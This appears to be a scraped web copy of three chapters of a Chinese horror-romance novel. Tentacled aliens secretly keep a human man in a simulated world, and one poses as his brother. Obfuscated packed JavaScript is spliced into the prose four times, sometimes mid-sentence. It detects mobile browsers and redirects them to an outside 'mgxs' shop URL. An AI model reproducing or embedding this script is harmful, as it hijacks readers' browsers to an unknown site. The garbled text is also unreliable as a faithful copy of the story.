“叮”的一声,筷子掉在了地板上。 丁明昭抖得厉害,双手捂住胃部,在椅子里僵硬地坐了几秒,然后猛地站起身,冲向厨房水池。 他拼命呕吐,想把刚吃下去的东西吐出来,但那些食物好像在他的胃里扎了根,哪怕他呕到胃部抽筋都吐不出来。 一具冰凉的身体这时从后面贴上他全是汗的背,黏滑的手掌伸进衣服里,抚摸他微鼓的腹部。 “怎么,”丁一的声音贴着他的耳朵,“不舒服?不好吃?” 丁明昭一闻到它身上的味道,翻腾的内脏又奇迹般地消停下来。他喘着气,浑身无力,身体软绵绵地往下滑,被丁一温柔搂住。 “药……”丁明昭靠在丁一身上,“把我昨天放在柜子里的药给我。” 下巴长很快把药送来,丁一将药送到丁明昭嘴边,他就着哥哥的手干咽了下去。 这是昨天心理医生给他开的,医生说有镇定的成分,可以有效的缓解幻觉。 吃完之后,哥哥的手贴上他的额头,慢吞吞地擦拭他皮肤上的冷汗。 站在旁边的下巴长无意间瞥到丁一手心的纹路,喉咙里发出惊讶的音节:“……!” 丁一看了它一眼。 下巴长噤声,脸上重新挂上热情的笑容,慢慢往后退,拉开和他们之间的距离:“好,好的!” 丁一擦完他额头的冷汗,学着人类的模样,又在他眉心落在一个轻吻,受惊的人类得到看不见的力量安抚,在它怀里一点点安静下来。 “好吃吗?”丁一带着浅笑,又一次问。 不知道是不是药生效了,丁明昭对那些恐怖画面的记忆淡了很多,只隐隐记得刚才吃饭时产生了幻觉。 他长长舒一口气,捂住胃部,那里饱饱的,脏器正在努力消化食物。 “……挺独特的味道,”丁明昭客观评价,“我没吃过这样的东西,谁做的?” 丁一的笑容加深。 今天的早餐是它给丁明昭做的,选用了星球上最新鲜、最珍贵的食材,用的也是它们的烹饪手段,没有再做味觉伪装,只通过系统改变外观后就送到人类的面前。 吃掉了雄蕊的人类,终于可以接受它们的食物。 ——一切如它所料。 适当的冒险能换取巨大的成果。 “我,”丁一笑着注视着他,执着又问:“好吃吗?” 丁明昭看着哥哥脸上的期待犹豫了一下,道:“不太吃得习惯,不过还行吧。” 丁一的眼睛瞬间就亮了,里面闪着愉悦的光泽。 “宝宝,”它抚摸丁明昭的脸,“多吃,你瘦了。” 丁明昭不太习惯它用这么亲昵的动作摸自己,从它怀里挣脱出来,往后退了一步:“我去换衣服,上班要迟到了。” 丁一:“嗯。” 数道目光追随着他,他准备踏上楼梯的时候,忍不住短暂停下脚步,回过头来,看向桌上的餐盘。 三个餐盘里的东西都吃得干干净净,只剩下一点盛不出来的小米粥黏在碗沿,黄色的小米,看起来没有任何异常。 丁明昭迟疑地收回视线,转身上楼,十分钟之后换了衣服下来。 家里人还维持着原来的姿势,站在客厅里等他,而桌上的餐具已经被收走了。 丁明昭一走到客厅,他的保姆、管家和厨师立刻齐刷刷地说:“路上小心!” 这是它们说得最熟练的话,每天丁明昭出门它们都会自信满满地吐出这个人类词汇,让自己显得很专业。 丁明昭点点头,因为吃饱的原因难得感到精力充沛,和哥哥道了别之后出门上班。 “砰”的一声轻响,别墅的大门合上。 以丁明昭为中心,整个世界紧跟着发生扭曲。投射在别墅内部的影像迅速消融,而街道的场景即刻渲染、细化,新的“工作人员”混在虚拟的路人中,接替管家们开始上班。 管家、保姆和厨师仍然停留在别墅内部,被剥离了伪装,本体通过主系统折射进来,只剩下几个灰色的庞大暗影。 只有丁一,仍然维持着人类形态,站立在深绿色的地面,从体内朝它们伸出一条沾满了粘液的触手。 它们用奇异的姿势同时朝丁一恭敬行礼,随后探出类似的细长触肢,触肢的顶端带着吸盘,吸盘在靠近丁一的触手时齐齐张开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554227|204404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露出里面密密麻麻的神经元。 很快,吸盘吸上触手黏膜,神经元扎入其中,散发出浅色的荧光。 不需要语言,它们开始“交流”。 丁一照例查阅了它们昨天的饲养记忆,随后,它们按照级别高低,先后输送自己的“意见”。 管家:“尊敬的神父,第91个饲养周期的早晨,系统重启后发现饲养对象的身体发生了一些变化。而昨晚您关闭监控亲自进入实验舱,我们需要知道您对饲养对象做了什么,这非常重要。” 厨师:“是的,大人,您今早忽然决议使用未经处理和伪装的原食材,我们需要知道原因。我们的食材对于人类是有毒性的!” 保姆:“但是神父先生创造了第一个饲养成功的记录,我认为祂这么做一定是有原因的。大人,我将永远拥护您的决议。” 管家:“不!大人,根据教会最新颁布的《人类保护法条》,您即便是作为总负责人,也无权直接对饲养对象进行改造。” 管家:“我们需要确保人类基因的纯粹,在搞清楚人类繁殖手段、明确种植方式之前,哪怕是您也不能直接占领人类的身体。” “……” 丁一:“我让他吃了我的雄蕊。” “…………” 信息的交流出现了片刻静默。 丁一:“蕊是唯一已经被证实对人类无害的结构,它们只是在他的身体里,辅助他消化我们的食物,让他尽快适应我们的气候,后续如果必要,可以让蕊再从他的七窍中爬出来。” 丁一:“如果不这么做,他会死。” 丁一:“他很难过,脑子也病了,会停止繁殖。” “……” 静默。 这段复杂的交流短暂结束,如果用饲养时间来计算,前后只过去了不到0.1秒。 代表着“管家”的暗影开始行动,又做了一个行礼的姿势,旁边厨师和保姆紧跟其后。但他们的触肢没有脱离,显然还有其他话要说。 管家:“我明白了,神父大人。” 保姆:“但我们终其一生只有一个蕊,先生,您……” 厨师:“我也愿意,大人,我的雄蕊也还留着!……他觉得我们的雄蕊好吃吗?他可爱脆弱的小牙齿能咬动蕊最外面的保护壳吗?……要是人类也有蕊就好了,人类的蕊一定会很漂亮。” 丁一的脸颊缓缓绷住。 它已经能熟练使用虚假的人类五官,维持着伪装的脸上流露出不悦的神色。 丁一:“回归工作。” 丁一:“今天是开放日,他已经到达展台,盯好参观者——以后所有开放都改成饲养周期的白天,晚上牠们散发的能量会干扰到他的睡眠。” “收到,大人。” “我们会确保饲养对象愉快、健康、安全地渡过新一天。” 三个吸盘接连松开,神经元们从丁一的触手上脱离,重新缩入触肢的顶端。吸盘紧跟着合并,拢住里面的神经接口,让这个结构看起来像一个浅蓝色的花苞。 三道暗影再次行礼,很快消失在深蓝色的实验舱里。 5. 开放日 丁明昭走进任职的大学,看到学校里比平日多了许多人,忽然想起来今天是校园开放日。 学生家长们一个个喜气洋洋地走在校园间,亲密地挽着他们的孩子,脸上挂着面具般标准的和蔼表情,边走边叽叽喳喳地跟孩子说着什么,声音嘈杂的汇在一起,丁明昭一个字都听不懂。 他拿起手机看这周的课表。 院长一直不肯给他多排课程,这周他只有两节课、一个讲座和一场答辩指导。 丁明昭微微皱眉,把课表截了个图,正准备发给院长沟通排课的问题,突然间,他眉心一跳,直觉被微妙触动,背脊敏锐地起了一层寒意。 ——周围似乎有很多很多双眼睛在看他。 他强忍住抬头去看的冲动,咬紧牙,仍然维持着低头看手机的姿势,余光悄然上抬,开始观察身边的动静。 从这个角度,他看不到路人的脸,只能看到他们走路的下半身、听到他们说话时的动静。 一切如常,没有异样。 是他的精神又不对劲了吗? 丁明昭握着手机的手心开始出汗,几秒后,他熄灭屏幕,将手机微微一侧,漆黑黑的屏幕像镜子一样反射出身边经过的一对家长。 它们下半身维持着正常走路的姿势,脑袋却以诡异的姿势旋转90度,两双黑白分明的眼睛直勾勾地盯着他,脸上的五官在狂热中完全扭曲。 丁明昭头皮一炸,终于忍不住飞快抬头—— 这对年轻夫妻正贴在一起笑眯眯地谈论什么,目光落在彼此身上,表现得如此自然,好像刚才屏幕里映出来的只是一场幻觉。 丁明昭忍不住伸手捏住眉心,在狂躁的心跳声中停下脚步,目光缓慢地扫过身边所有路人。 没有一个人在看他,哪怕他突然停下来站在人行道最中间,这些“人”也刻意忽视他的存在,目不斜视地从他身边经过,维持着一切正常的伪装。 ……不是错觉。 丁明昭起了一层更深的冷意。 到底怎么了? 是他疯了,还是这个世界真的不对? 他浑身冰凉地在路中央站了足足十分钟,十分钟过去,仍然没有一个人敢直接和他对视,也没有一个人对他为什么站在那里表现出好奇,像是露出破绽之后故意要掩藏什么。 直到旁边一位保安走过来,轻轻拍了一下他的肩膀,温声问:“丁老师,怎么了?是哪里不舒服吗?” 丁明昭猛地回过神,这才发现自己的后背已经被汗湿了。 他回过头,保安长相平平无奇,面带微笑,神色标准得像一张面具,和他的心理医生如出一辙。 他掩饰起起脸上的表情,强作平静,朝保安道:“没事,我想事情入神了。” 保安点点头,又关心了他几句,从一旁离开。丁明昭沉默地看了一眼表,还有十分钟就到上课时间。 他若无其事走到自己的办公室,先倒一杯水,吃完今天的第二颗药,缓过那阵莫名的心悸之后,才拎着电脑走进教室。 他在A市最知名的大学里教天文物理。 院里非常照顾他的身体,没有安排他带专业课,而是把他的课划成选修,每周只排一到两节。 丁明昭提前五分钟推门进去,大教室上百个座位果然又坐满了人,除了熟悉的面孔以外,还有不少来旁听的陌生学生。 他们目光灼灼,从他进门的瞬间便紧紧盯住他,脸上挂上热情的笑容,似乎期待已久。 丁明昭在讲台前站定,从教室里闻到了一股若因若无的腥气,仿佛被割草机刚刚割过的草坪。 他喉结轻轻滚动,胃底泛起恶心,双手不得不紧紧按住讲台,过了几秒后才开口道:“同学们早上好。” 所有人齐刷刷站起来:“老师好!” 丁明昭脸色苍白地笑了笑,道:“上次不是说了吗?我们是大学,不是高中,都坐下吧,不用站。” 众人又窸窸窣窣地坐下,丁明昭拿起马克笔,先花几分钟回顾上周的教学,接着开始讲今天的课程内容。 教室里非常安静。 上百个学生坐在这里,好像连呼吸声都不会产生,整个教室静得只剩下丁明昭沉重的心跳声和轻微沙哑的嗓音。 不知怎么,今天丁明昭一直进入不了状态。 他机械地讲解课件,注意力却完全集中在台下的学生身上。 他一张一张地打量他们的脸,毫无疑问,这里的每张脸都长得都不一样,但从讲台角度看过去,这上百张脸又仿佛带着完全相同的面具,微表情高度重合。 渐渐地,丁明昭陷入了沉默。 他眼也不眨地盯着大教室,等回过神来的时候,他才意识到自己已经在讲台上走了很久的神。 而下面的学生们依然无比安静,没有任何人出声提醒他。 丁明昭咬住牙,脑中毫无征兆地生出一个荒谬的念头: 也许他的面前立着一块巨大的、无法用肉眼辨别的透明玻璃,玻璃的另一侧隔绝开热情的学生,玻璃的这一侧朝他投射伪造的影像,欺骗他觉得一切如常。 ……药呢?他想。又犯病了,他应该现在就吃药。 丁明昭捏着马克笔,忽然产生了一种莫名的冲动。 他缓缓从高凳里站起来,但并没有离开教室去拿药,而是一步一步朝着讲台下方走过去。 大教室的讲台台阶很高,他极少会走到下方和学生互动,这是第一次。 丁明昭重新在脸上挂起笑容,一边走,一边接上之前的内容,道:“现在,我将请一个同学上台来,计算黑板上这个致密天体的质量。” 他越过讲台,迈进了第一排学生之间。 “嗡——” 一瞬之间,无法理解的绵密响动涌进耳朵,像是上万个泡沫在他的耳边破碎,让他差点无法站稳,下意识地伸手撑住身边的长桌。 “根据……开普勒第三定律……”他嘴唇轻轻发抖,眼前已经是一片金星,强撑着继续道,“在银河系中心附近……一颗恒星S2的轨道周期为16年……轨道半长轴约……” 第一阵冲击过去之后,他的鼓膜似乎发生了奇异的变化,竟然从这些泡沫破碎声中辨别出了超越人类语言的含义,像是大脑上被插了一个接收器,接收到的信号直接越过语言系统,注入神经元深处: 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554228|204404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,是真的人类,活的人类!(咕噜咕噜)好可爱,好小,好柔软,好想缠住它漂亮的皮肤,(咕噜咕噜)好想用吸盘吸住它小巧的额头,然后……】 【它在说什么?听不懂,但是好可爱……(黏糊甜腻的水流声)宇宙里居然有这样的生物存在……好想将我的雌蕊献给它……它会喜欢我的雌蕊吗?】 【天啊……(一阵无法形容的声波)……下一次开放日我还有没有中签的机会?天啊……如果中不到签我活着还有什么意义?】 【一想到我们和它没有生殖隔离,我感觉我的花苞要开了……主啊(尖锐的破碎声)……这将是我们的救赎吗?】 【它是属于我们的,没错,它是属于我们的,(咕噜咕噜)它是属于我们的,对,它终于来了,它将打破我们的永生诅咒,它是属于我们的,(咕噜咕噜),是的,它是属于我们的,它是】 …… 丁明昭脸上血色全无。 他似乎理解了这些话语,又似乎一个词汇都没有听懂。他的五脏六腑被信息波冲击得翻山倒海,早上吃下去的食物已经涌到了喉咙间。 马克笔掉在了地上,他转身朝着教室门冲过去,又突然被什么冰凉的东西拉住了手腕。 他低头去看,坐在他身侧的一个男学生用冰冷透骨的手抓住了他。 男学生的嘴角咧开,露出所有牙齿和牙龈,眼皮大大睁着,眼球在眼眶里飞速抖动,瞳孔却紧紧锁在丁明昭的身上。丁明昭毛骨悚然,想用力将它甩开,后者收紧手掌,把他的手拽到鼻尖,深深地翕动,闻着他皮肤里透出的气味—— 接着,它脸上浮现出密密麻麻的荧粉色纹路,喉咙里发出一连串咕噜咕噜的响声,张开嘴,把丁明昭的手指塞进去,从大拇指开始,一根一根痴迷地舔舐…… “砰!” 丁明昭拿厚厚的教材砸在它的脸上,精神在错乱的声波攻击中濒临疯狂:“松开!滚!——滚!!” 教材砸下去之后,那张脸的所有表情都凝固了。颤动的眼球开始旋转,半秒后钉在丁明昭的身后,瞳孔里涌出强烈的恐惧。 【神……神……(咕噜咕噜)神父……(咕噜)……】 钳住丁明昭手腕的手很快松开,丁明昭转身往外逃,正撞进一个熟悉的怀抱里。 怀抱将他牢牢护着,一只手扣住他的脑袋,让他的额头抵在自己的肩膀上,挡住他的全部视线。 丁明昭绷到极致的身体瞬间放松,软绵绵滑进这人怀里,手指牢牢抓着它的衣服:“哥……哥,是你。我……我刚才好像犯病了……” 而在他看不到的地方,抱着他的双手化为了数条触手,将身侧的男学生瞬间扎成了飞溅的肉泥。 整个教室立刻安静下来,只剩下尖锐的惨叫声波在更高一个维度的空间彻响,这些响动从神父踏进来的刹那就被完全屏蔽,没有再泄露任何一丝一毫到丁明昭的耳中。 丁一侧过头来,看到丁明昭脸上的冷汗,用力搂住怀里受惊的人类,神色阴郁,嘴角却带着难以掩藏的愉悦浅笑,低头亲吻他的额头。 “没事……宝贝,”它用人类语言低低说,“没事,哥哥在,没事。” 6. 独占 【根据《人类保护法条》、《人类开放日参观守则》、《科研保密手册》……等一系列规定,编号***号参观者在展台对人类实施骚扰,导致人类遭受精神波攻击,当场接受I级刑罚,魂魄数据重归主干,复苏后永生不允许靠近人类所在区域】 【因人类在开放日中受伤,总负责人已向教会递交申请,计划关闭开放日活动,重新开放时间未定。民众对此做出了强烈反应,爆发集会谴责违规者,并呼吁研究所加强对人类的保护】 【——以上圣树新闻组报导】 丁一收起翅膀,立在乱成一团的研究所大堂里。 人类在开放日遭受骚扰,因为无法承受未屏蔽的精神波而陷入昏睡,这对于整个研究所来说,不亚于核弹级别的大事。 02号饲养员和03号饲养员爆发了激烈的争吵,吸盘里交错的神经元恨不得立刻绞死对方,04号饲养员慌张地在里面和稀泥,十几条触肢挥舞,试图切断02和03的沟通渠道,却几次被误伤。其余低层级饲养员更是六神无主,一个个倒吊在分支上,神经元接入公共频道,围观02和03的争吵内容。 丁一的触手勾住分干——那是一条盘旋在整个研究所上方的柔软管道,像透明的水晶肠子,每接入一条新的神经元,表皮都会生出一道蛛网状的荧光。 公众频道里,02和03正吵得起劲。 02号饲养员,【管家】在说:“我们有义务每十个饲养周期向民众公开一次饲养进度,这是符合《保护法条》的!今天的事情是意外,没有饲养员料想到他会从主动离开展台,进入参观者的区域……我们自身有着不可推卸的责任,应该完善开放日的保护制度,而不是直接关停开放日!” 03号饲养员,【厨师】说:“你怎么确保人类是主动离开展台,而不是被有心者引诱出展台?他明明最讨厌离开安全区域了,整整91个周期,他一次都没有探索过虚拟屏障以外的地方!……他那么小,那么虚弱,我们只要站在他身边,他的大脑就受不了我们思考时带来的能量波动,所以怎么可能好端端地离开安全区?!” 管家:“所以是我们的问题,我们应该把屏障设计成人类难以穿过的形态!” 厨师:“这是违反虚拟世界物理规则的!如果把安全区设立得过于突兀,他也许会察觉到异常!” 管家:“你说的这一点完全有别的解决方案,03号,我们是研究员,应该理智客观,你明显已经对饲养对象产生了……” 保姆:“你们不要吵了!等总负责人回来……啊,大人!大人您来了!” 公共频道里乱蹿的信息电流在瞬间陷入了安静。 所有生物都开始朝丁一行礼,02号和03号的触肢还接在一起,一边朝对方输出信号一边朝丁一打招呼。 丁一缓缓直起身,扫过一排排挂在分支上的下属们,周身散发着冰冷的气味,让离它最近的一排饲养员开始恐惧地收缩。 02和03僵硬几秒,有些紧张地分开了纠缠在一起的触肢。 “违规者利用精神波勾引饲养对象离开安全区,从今天开始,关闭开放日,”它将信号释放至频道,“任何可能伤害到饲养对象的可能性都应该被杜绝。” 管家:“可是……” 丁一打断它:“醒了吗?” 04号保姆立刻道:“还没有,已经昏睡8个小时了。” 丁一的目光第二次从下属们身上缓缓扫过。 所有饲养员的外表皮都开始收缩,触手紧紧缠绕在自己的躯体的周围,整个频道再也没有半点其余的信号波动。 丁一:“重大事故发生当日的所有值班饲养员,从现在开始禁闭七个周期。这七个周期内,我会推掉其余所有工作,进入实验舱内,确保饲养对象的健康,并寻找机会取得第一批种子,实施种植计划。” 管家欲言又止,介入分支的神经元微微闪动,但最终什么都没说。 丁一松开分支,体内分泌出强腐蚀液,清理掉身上残留的“血液”、灰尘和细菌,确保自己全身上下无菌无尘,然后缓慢地爬向人类所在的巨大实验舱。 舱门察觉到它的气息,自觉向两旁打开。 丁一进到舱内——它的人类浸在母树分泌的特殊粘液里,数十条细长的触手从分支上探下来,吸在人类光滑的皮肤上,让他看起来像一具被牵了线的木偶。 丁一将自己最柔软的那条触手伸过去,吸盘张开,神经元温柔地扎入人类的眉心…… …… 【总负责人已接入主干】 【饲养周期第92个周期,06:30】 【总负责人已调整工作表,接下来七个饲养周期,由01号饲养员负责全部工作】 【原05级别以下饲养员已取消接入权限,饲养对象进入休养状态,主系统已启动休养模式】 【……】 丁明昭躺在床上。 丁一在系统的协助下转化为人类形态,身上没有衣服,光着脚悄无声息地走进卧室。 现在,接入了主干的高级饲养员只剩下它了。 它走到床边,低着头,看向床上受自己精神波影响还未苏醒的人类,嘴角缓缓勾起。 真乖。 昨天在教室里,一接收到它的能量波动,它的人类就乖乖离开安全区,走下台来,朝着它靠近,配合它完成了所有的演出。 ——以后再也不会有那么多目光落在他身上了。 他是属于它们的,属于研究所,属于神树,属于……它。 接下来的七天,他们会一直待在一起,以后还有会更多的机会。 丁一从一侧滑入被子里,环抱住沉睡的人,感受着犹如恒星直照的温暖温度,用额头抵住他的额头,再一路往下,沿着高挺的鼻梁缓慢蹭动,闻着人类毛孔里散发出来的生机勃勃的香气,皮肤上蔓延出愉快的荧光纹路。 七点,不再受作息程序影响的人类在它怀里发出了轻微响动。 丁一收紧手臂,闭上眼睛,将整个脸埋在人类的侧脸处。 丁明昭缓缓醒了。 他的记忆还停留在撞进丁一怀里的刹那,所以当睁眼看到丁一时,他竟没有感到异样。 发生了什么……? 似乎每次醒来,他都在努力回忆睡前的记忆。 丁明昭皱起眉,太阳穴阵阵作痛,认真地想了许久,只想起来昨天是校园开放日,他上了一节满员的选修课,课程中途似乎突然失去了意识。 ……等等。 他怎么光着? 丁明昭动了一下。 旁边的丁一怎么也光着?! 怎么又光着?!! 丁明昭脸色扭曲了一瞬,暂且放下那些模糊的记忆,用力把身边人推醒。 “哥,醒醒!别睡了!”他拍打丁一的脸颊,“怎么又睡在我这?起来!” 丁一慢慢睁开眼,浅色的瞳孔里映着丁明昭的脸,脸上浮现出疑惑又愉悦的神色。 “早,”它说,“好。” 丁明昭皱着眉,耳朵尴尬得通红一片,用被子裹着自己,往旁边挪了两米:“你到底怎么回事?” 丁一似乎不理解他在意的是什么,过了几秒才不怎么流畅地开口:“你昏倒了,抱。” 丁明昭:“我知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554229|204404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是你也不能……”话说到这里,他对上丁一清澈迷茫的眼睛,又忽然泄气:“算了,你先把衣服穿上。” 丁一“哦”了一声,被他的目光取悦,勾着嘴唇从床上起身,走到衣柜前拿衣服。 丁明昭:“把那套睡衣也拿给我。” 丁一不急不忙给自己套上累赘的布料,然后将丝质的睡衣递给人类。人类将自己藏在被子里,发出一阵窸窸窣窣的可爱响动。 等换好衣服,丁一重新爬到床上,将人类抱住,亲吻他的眉心。 “还好吗?”它又问。 丁明昭仍有些尴尬,也不适应两个成年男性这样黏腻地抱在一起,但他又不得不承认——自己正依恋着丁一的怀抱。 他僵硬地靠着大哥,没有说话,也没有从它怀里挣开。 过了好一会,他流露出真实的情绪,贴着丁一的脸颊,道:“头疼。” 冰凉的手指探过来,按住他有些轻微发热的太阳穴。 “你昏倒了,”丁一重复着昨天紧急学会的词汇,“低血糖。多吃饭。” 细腻的指腹在他穴位处用力,力道恰到好处。丁明昭合上眼睛,竟真感觉头痛开始缓解,效果好到仿佛有一柱清水顺着大哥的指尖流进了自己过热的脑袋。 “我昨天上课前……”说到这里,他迟疑了一会,勉强接上记忆,“吃了的,没错,我记得。小米粥、青菜、还有小笼包,你给我做的,我好久没有吃那么饱,怎么还会低血糖?” 丁一:“是吗?” 丁明昭:“对。而且你怎么会在我学校?” 丁一道:“电话。” 丁明昭:“有人给你打电话叫你过来?” “嗯。” 丁明昭重新睁眼看向大哥。 这张和自己没有任何相似之处的脸坦诚地看着他,瞳孔里清晰倒映着他的影子。 丁明昭眉头微蹙,脑中没由来地冒出一个念头:不是这样的。 不是这么简单,也远没有这么正常,世界疯了,一切都是扭曲的,眼前人在骗他。 丁一继续往下说,这回特地接上语言系统,用了流畅的长句:“学校里让你好好修养一段时间,这周的课都取消了,你可以在家里休息七天。我也请了假,这七天哪里也不会去,就在家里陪你。” 丁明昭太阳穴又跳了一下,丁一察觉到,加大力度用力揉着。 丁明昭:“哥,你到底在哪里上班?忽然请假一礼拜没关系么?” 丁一陷入安静。 丁明昭眼也不眨地紧紧盯着它的每一个神色变化,没有给它太多思考的时间,凑近一些,逼问:“你到底在哪里上班?嗯?” 丁一的手慢慢停止了动作。 在丁明昭看不见的地方,它的内脏里蔓延起暖色的荧光,昭示着它越发愉快的心情。 丁明昭眉头皱得更紧,心跳莫名开始加快,被遗忘的记忆在脑中蠢蠢欲动:“说话!” 丁一忽然笑了一声。 它松开手指,脸凑过来,跟有皮肤饥渴症一样,在丁明昭的侧脸上来来回回蹭了好几下,然后低声道:“我骗你的……宝宝。” “我其实没有工作,我……脑子有病,说话,有时候,说话不行。找不到工作……” “你会嫌弃哥哥吗?” 丁明昭愣住。 他瞳孔微微收缩,望着丁一,一时没反应过来。 大哥的意思是,它的智力真的有问题? “教我说话,昭昭,”丁一贴在他耳边,让自己表现得比人类更加无辜无害,“哥哥再也不骗你,以后,哪里也不去,就在家,你教教哥哥,好吗?” 7. 饲养 丁明昭复杂地看着身边的大哥,没有吃惊,反而有种果然如此的感觉。 丁一伸出手,冰冷的手掌贴着他的脸颊,眼也不眨地盯着他,又问:“你会嫌弃我吗?” 它看起来好像有些紧张,但丁明昭又觉得它其实没有表现出来的那么紧张。 “当然不会,哥,”丁明昭拍拍它的手,“你就这样挺好的,我们家还有不少积蓄,不上班也没关系,过几天我带你去检查一下。” 丁一露出一点笑容:“教我,教我说话。” 丁明昭忍不住也露出了些许笑意:“你现在不是说得挺好?” “不,”丁一凑近,又贴上了他,“不会,宝宝,你教我。” 丁明昭道:“那就从现在教起,不要叫我宝宝,我已经是成年人了,这个词是用在小朋友身上的,你得叫我的名字。” 丁一只是看着他笑,拇指在他唇边摩挲,装作听不懂。 丁明昭很放松地跟它躺了一会,从床上坐起身,头痛已经完全缓解了。 “昨天我到底是因为什么昏迷?”他仍然克制不住地在意,“院里是怎么说的?我的课后面谁来代?” 丁一靠在床上,目光黏着人类被丝质睡衣勾勒出来的身体轮廓:“低血糖。没事。休息。” 丁明昭一边整理衣服一边垂眸望过去:“有时候我觉得你什么都听得懂,有时候又不确定。” 丁一微微偏头,看着他,一脸没理解这句话是什么意思的表情。 丁明昭“啧”了一声,进洗手间准备洗漱。刚在盥洗台前站定,一具没什么温度的身体从后面贴上他的背,苍白的手臂将他环住,无比自然地拿过牙刷和牙刷杯,左手把水杯递到他嘴边,右手举着挤好牙膏的牙刷等候在旁边。 “……”丁明昭侧头,看到不知什么时候跟着起床的丁一:“哥,我不是三岁小孩,自己会刷牙。” 丁一用杯沿挤开他的嘴唇,毫不掩饰脸上的愉快和期待:“好。” 丁明昭:“……” 算了。 毕竟他的大哥脑子不太正常。 丁明昭配合它的动作,张嘴含了一口水,再吐掉。丁一立刻放下牙刷杯,左手轻轻捏住人类的下巴,再小心翼翼地把牙刷伸进人类的口腔。 它已经观察了人类整整九十一个周期,晚上还会关闭系统悄悄阅读人类的生活记忆,整个星球再没有同类比它更懂这个可爱小生物的生活习性,它可以照顾好他,不需要任何其他同类的介入,它会把它的人类养得健康、长寿、快乐…… 暖色的荧光遍布它的内脏,它几乎控制不住表情,从指尖探出一条触手,沿着牙刷柄钻进去,用触手尖密密麻麻的绒毛代替牙刷毛,一颗一颗抚摸人类漂亮的牙齿。 “唔,”丁明昭含含糊糊说,“好了,换一边,刷太久了。” 丁一“嗯”了一声,控制绒毛爬向另一边的牙齿,从触手尖分泌出特制的粘液——这种粘液是它针对人类身体里携带的细菌研发出来的——腐蚀掉牙齿表面的细菌,再用接下来的时间在光洁的牙釉上尽情地蹭。 丁明昭听到它粗重的呼吸,就贴在自己的耳侧。这真是稀奇,他的大哥大部分时候都跟机器人一样,难得听见它活过来的动静。 于是,他纵容着它的举动,任由它在自己口腔里刷来刷去,刷到自己都又快要睡着了,身后人才依依不舍地把牙刷拿开,重新将杯子递到嘴边。 “漱口。”它声音略哑,眸色闪动,灼灼地盯着丁明昭的嘴唇。 丁明昭乖乖漱了口,下意识用舌头舔了舔牙齿,被刷得很干净。 他打了个哈欠,有些敷衍:“你自己去洗漱吧,别老守着我。” 丁一又拿起毛巾,一板一眼地重复:“守着你。” 丁明昭以为他昨天被吓到了:“我昨天只是低血糖昏迷了一下,现在感觉已经很好。你去干自己的事情,哥,我真没事。” 丁一固执地重复:“守着你,昭昭,守着你。” 说着,它积极地把毛巾用温水打湿,不给人类拒绝的机会,拧干后用毛巾细致地擦他的脸。 丁明昭叹一口气,站在那里让它擦。 今天的毛巾触感很不一样,比平时用起来更软,吸饱了温水也没什么温度,凉凉的贴在他皮肤上。 随着丁一的动作,毛巾绒毛轻微地蠕动了起来,将他脸上肉眼看不见尘埃、油脂、废弃角质都吸附得干干净净,再分泌出新的黏液,保护好人类脆弱的皮肤。 仔仔细细擦了好几遍,丁一收起毛巾,从身后贴上丁明昭的侧脸,看向镜子。 镜子里,做完洗漱的年轻男人皮肤仿佛在发光。他同样正看着镜面,肤色因为常年的太空休眠苍白无比,一双淡琥珀色的瞳孔冷淡又忧郁,眼尾带着说不上来的倦怠情绪,浅色的嘴唇微微张开,露出一点刚刚被刷过的洁白牙齿,全脸只有秀气的鼻头被擦得微微发红,给过分白皙的皮肤添了一点血色。 在他身边,另一张周正的男性脸庞正与他紧密相贴。无论看多少次,这张脸的五官特征都会被大脑悄无声息地抹平,似乎它只是一张面具,面具下可以是丁一,也可以是丁二丁三丁四……或者任何人。 丁明昭缓缓凝起眉,对自己的虚弱感到不满,对丁一的空白长相感到不适。 他很快挪开视线,把身后人往外推:“我要上洗手间。” 丁一:“好。” 它没动,目光盯着丁明昭裤腰上的松紧绳,蠢蠢欲动。 丁明昭:“……我要上洗手间!” 丁一:“嗯。” 它伸出手,去勾人类的松紧绳。 “啪”的一声脆响,丁明昭用力把它的手拍开,眉头高耸,把脑子越发不正常的大哥推到门外,再用力关上洗手间的门:“出去!” 丁一立在门口,抿起唇,侧身想将耳朵贴上磨砂玻璃,里面的人又无奈地呵斥了一句:“站门口干什么,回你自己房间洗漱!” 丁一:“……哦。” 它恋恋不舍地走到卧室门口,手忍不住变成触手,触手顶端睁开一只眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 